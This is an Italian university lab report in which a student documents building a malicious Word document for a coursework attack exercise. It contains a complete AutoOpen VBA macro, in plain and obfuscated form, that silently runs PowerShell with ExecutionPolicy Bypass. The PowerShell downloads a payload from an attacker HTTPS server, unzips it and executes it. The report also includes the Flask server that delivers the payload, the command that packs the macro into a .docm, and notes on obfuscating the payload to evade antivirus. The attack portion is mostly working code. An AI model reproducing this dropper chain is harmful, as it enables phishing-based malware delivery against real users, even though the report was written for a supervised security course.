REPORT DOCUMENTO MALEVOLO

*Nome Cognome Farina Christian*

*Matricola VR501577*

*Email christian.farina@studenti.univr.it*

# COMANDO POWERSHELL

In questa sezione dovete presentare il codice del comando Powershel e le tecniche adottate per codificarlo in base 64.

**COMANDI POWERSHELL**

' Mi collego al server creato con python e scarico il file malevolo

comandoDaEseguire2= " & Invoke-WebRequest -Uri 'https://192.168.1.10:12345/download\_file' -OutFile 'percorso\dove\è\salvato\payload.zip' -SkipCertificateCheck"

comandoDaEseguire2= " & 'percorso\dove\è\salvato\payload.exe'"

' Eseguo il comando PowerShell per scaricare il file malevolo

shell.Run "pwsh.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

' Eseguo il comando PowerShell per eseguire il file malevolo

shell.Run "pwsh.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

**TECNICHE DI CODIFICA**

Per la codifica ho utilizzato due metodi in VBA che codificano stringhe date in input, in un contest reale le stringhe sarebbero state date, direttamente codificate, come input al decodificatore di VBA; tuttavia, per motivi didattici ho inserito I due metodi all’interno del codice del file malevolo, per mostrarne il funzionamento. Il programma infatti esegue I seguenti passaggi:

1 Codifica le stringhe

2 Decodifica le stringhe

3 Esegue I comandi decodificati

**METODI USATI PER CODIFICARE I COMANDI**

' codifica una stringa in input in base 64 e restituisce la stringa codificata

Function EncodeBase64(str As String) As String

Dim objXML As Object

Dim objNode As Object

' Crea un oggetto XML

Set objXML = CreateObject("MSXML2.DOMDocument")

Set objNode = objXML.createElement("b64")

' Imposta il testo del nodo con il comando da codificare

objNode.dataType = "bin.base64"

objNode.nodeTypedValue = stringaABinario(str)

' Restituisci il risultato della codifica base64

EncodeBase64 = objNode.text

' Libera l'oggetto XML

Set objNode = Nothing

Set objXML = Nothing

End Function

' Converte una stringa in input in dati binari

Function stringaABinario(s As String) As Variant

Dim ado As Object

Set ado = CreateObject("ADODB.Stream")

ado.Type = 2 ' adTypeText

ado.Charset = "us-ascii"

ado.Open

ado.WriteText s

ado.Position = 0

ado.Type = 1 ' adTypeBinary

stringaABinario = ado.Read

ado.Close

Set ado = Nothing

End Function

# VBA MACRO

In questa sezione dovete presentare il codice della macro prima che venga offuscato, le tecniche adottate per offuscare il codice e il codice della macro offuscato.

**CODICE MACRO NON OFFUSCATO**

Sub AutoOpen()

Dim codificato As String

Dim codificato2 As String

Dim comandoBase64 As String

Dim comandoDaEseguire As String

Dim comandoDaEseguire2 As String

Dim shell As Object

Set shell = VBA.CreateObject("WScript.Shell")

' comando per scaricare il file malevolo

codificato = EncodeBase64(" & Invoke-WebRequest -Uri 'https://192.168.1.10:12345/download\_file' -OutFile 'C:\Users\crist\Downloads\payload.zip' -SkipCertificateCheck")

' comando per eseguire il file malevolo

codificato2 = EncodeBase64(" & 'C:\Users\crist\Downloads\payload.exe")

' Comando PowerShell codificato in base64

comandoBase64 = "IEX([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('BASE64\_ENCODED\_COMMAND')))"

' decodifico i due comandi da base64 a normali

comandoDaEseguire = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato)

comandoDaEseguire2 = Replace(comandoBase64, "BASE64\_ENCODED\_COMMAND", codificato2)

' Esegui il comando PowerShell per scaricare il file malevolo

shell.Run " pwsh.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire, 0, True

Call unzip 'estraggo il payload

' Esegui il comando PowerShell per eseguire il file malevolo

shell.Run " pwsh.exe -NoProfile -ExecutionPolicy Bypass -Command " & comandoDaEseguire2, 0, True

' Rilascio l'oggetto

Set shell = Nothing

End Sub

' Decomprime la cartella col payload malevolo

Sub unzip()

Dim FSO As Object

Dim sfolder As String

Dim sApp As Object

Dim MyFile As String

Dim ExtractTo As Variant

Set FSO = CreateObject("Scripting.FileSystemObject")

sfolder = "C:\Users\crist\Downloads\"

MyFile = Dir(sfolder, vbNormal)

ExtractTo = sfolder

Do While MyFile <> ""

If Right(MyFile, 3) = "zip" Then

Set sApp = CreateObject("Shell.Application")

sApp.Namespace(ExtractTo).CopyHere sApp.Namespace(sfolder & MyFile).Items

DoEvents

End If

MyFile = Dir

Loop

End Sub

**CODICE MACRO OFFUSCATO**

Const ryanvumxjyltpiowycd = 2

Const araxblmfqpqiamgzv = 1

Const lppficfdvsrplxs = 0

Sub AutoOpen()

Dim aqerxnt As String

Dim ouldgiquihkm As String

Dim blquaxjinbecmdd As String

Dim rxtayoywgtd As Object

Set rxtayoywgtd = VBA.CreateObject(tinaalaqpomkulr("5753637269") & tinaalaqpomkulr("70742e5368656c6c"))

aqerxnt = tinaalaqpomkulr("494558285b53797374656d2e546578742e456e636f64696e675d3a3a555446382e476574537472696e67285b53797374656d2e436f6e766572745d3a3a46726f6d42617365363453") & tinaalaqpomkulr("7472696e6728274241534536345f454e434f4445445f434f4d4d414e4427292929")

ouldgiquihkm = Replace(aqerxnt, tinaalaqpomkulr("4241534536345f454e434f4445445f434f4d") & tinaalaqpomkulr("4d414e44"), tinaalaqpomkulr("49435967535735326232746c4c56646c596c4a6c6358566c633351674c5656796153416e6148523063484d364c7938784f5449754d5459344c6a45754d5441364d54497a4e4455765a473933626d7876595752665a6d6c735a5363674c55393164455a70624755674a304d365846567a5a584a7a58474e7961584e3058455276643235736232466b6331787759586c736232466b4c6e7070634363674c564e72615842445a584a30") & tinaalaqpomkulr("61575a70593246305a554e6f5a574e72"))

blquaxjinbecmdd = Replace(aqerxnt, tinaalaqpomkulr("424153") & tinaalaqpomkulr("4536345f454e434f4445445f434f4d4d414e44"), tinaalaqpomkulr("494359674a304d365846567a5a584a7a58474e7961584e3058455276") & tinaalaqpomkulr("643235736232466b6331787759586c736232466b4c6d56345a53633d"))

rxtayoywgtd.Run tinaalaqpomkulr("707773682e6578") & tinaalaqpomkulr("65202d4e6f50726f66696c65202d457865637574696f6e506f6c69637920427970617373202d436f6d6d616e6420") & ouldgiquihkm, lppficfdvsrplxs, True

Call qmuhjuguvehriraeovg

rxtayoywgtd.Run tinaalaqpomkulr("707773682e657865202d4e6f50726f66696c65202d457865637574696f6e506f6c69637920427970617373202d") & tinaalaqpomkulr("436f6d6d616e6420") & blquaxjinbecmdd, lppficfdvsrplxs, True

' Rilascio l

Set rxtayoywgtd = Nothing

End Sub

Sub qmuhjuguvehriraeovg()

Dim amueyxdfeay As Object

Dim lnudlklaqtgmhkae As String

Dim scqzswhy As Object

Dim iiqnengur As String

Dim nsmscbyrxd As Variant

Set amueyxdfeay = CreateObject(tinaalaqpomkulr("536372697074") & tinaalaqpomkulr("696e672e46696c6553797374656d4f626a656374"))

lnudlklaqtgmhkae = tinaalaqpomkulr("433a5c55") & tinaalaqpomkulr("736572735c63726973745c446f776e6c6f6164735c")

iiqnengur = Dir(lnudlklaqtgmhkae, vbNormal)

nsmscbyrxd = lnudlklaqtgmhkae

Do While iiqnengur <> ""

If Right(iiqnengur, 3) = tinaalaqpomkulr("7a6970") Then

Set scqzswhy = CreateObject(tinaalaqpomkulr("5368656c6c") & tinaalaqpomkulr("2e4170706c69636174696f6e"))

scqzswhy.Namespace(nsmscbyrxd).CopyHere scqzswhy.Namespace(lnudlklaqtgmhkae & iiqnengur).Items

DoEvents

End If

iiqnengur = Dir

Loop

End Sub

Il codice è stato offuscato con il seguente offuscatore: <https://github.com/sevagas/macro_pack.git>.

Il seguente programma genera un documento Word con la macro offuscata all’interno. Come input è necessario dare la macro non offuscata. (ho dato in input la macro direttamente coi comandi codificati in base 64). Prima di tutto bisogna esportare il codice VBA in un file con estensione ”.vba”, in seguito bisogna lanciare il comando:

macro\_pack.exe -f ThisFile.vba -o -G myDoc.docm

dove macro\_pack.exe è l’eseguibile fornito nel repository, ThisFile.vba è il codice esportato e myDoc.docm è il documento word che verrà creato, con all’interno la macro offuscata.

# INFRASTRUTTURA ATTACCO

In questa sezione dovete presentare le macchine virtuali utilizzate per condurre l’attacco e come sono state configurate.

**ATTACCANTE**

L’attaccante è la macchina Kali Linux usata a lezione con un ip statico, ho scritto due programmi in C# che rappresentano rispettivamente la console e il payload. La vittima aprendo il documento Word malevolo si collega ad un server creato con python e scarica il payload malevolo. Per poter usare il protocollo https ho dovuto creare un certificato autofirmato con i seguenti comandi:

openssl genpkey -algorithm RSA -out private.key

openssl req -x509 -new -key private.key -out cert.pem -days 365

L’attaccante avvierà poi la console ed inserirà come input l’indirizzo ip della vittima fornitogli dal server python. Il payload è stato offuscato usando il seguente software: <https://github.com/h4wkst3r/InvisibilityCloak.git>.

L’unico possibile comando che ho implementato è la scrittura di un messaggio da remoto usando il prompt della vittima.

**CODICE DEL SERVER PYTHON**

from flask import Flask, send\_file, request

import ssl

import os

app = Flask(\_\_name\_\_)

@app.route('/download\_file', methods=['GET'])

def download\_file():

# Nome del file da scaricare

file\_path = 'payload.zip'

# Ottieni l'indirizzo IP del client che ha effettuato la richiesta

client\_ip = request.remote\_addr

print(f"Il file è stato scaricato da: {client\_ip}")

# Invia il file al client

return send\_file(file\_path, as\_attachment=True)

if \_\_name\_\_ == '\_\_main\_\_':

# Imposta l'indirizzo IP del server

SERVER\_ADDRESS = ('192.168.1.10', 12345)

# Carica i file del certificato e della chiave privata

ssl\_context = ssl.SSLContext(ssl.PROTOCOL\_TLS\_SERVER)

ssl\_context.load\_cert\_chain(certfile='cert.pem', keyfile='key.pem')

# Avvia il server Flask con SSL abilitato

app.run(host=SERVER\_ADDRESS[0], port=SERVER\_ADDRESS[1], ssl\_context=ssl\_context, debug=True)

**VITTIMA**

La vittima è una macchina Windows 10 con Windows Defender abilitato e le altre impostazioni di sicurezza disabilitate (invio automatico di file d’esempio, protezione cloud ecc.) e con pacchetto Office installato, per permettere l’apertura del documento Word malevolo. La versione di powershell usata è la 7.4.1. Ho installato con VirtualBox una macchina Windows e ho scaricato il pacchetto Office con l’account accademico. La vittima non ha un ip statico; le due macchine sono connesse ad una rete con nat il cui indirizzo è 192.168.1.0/24.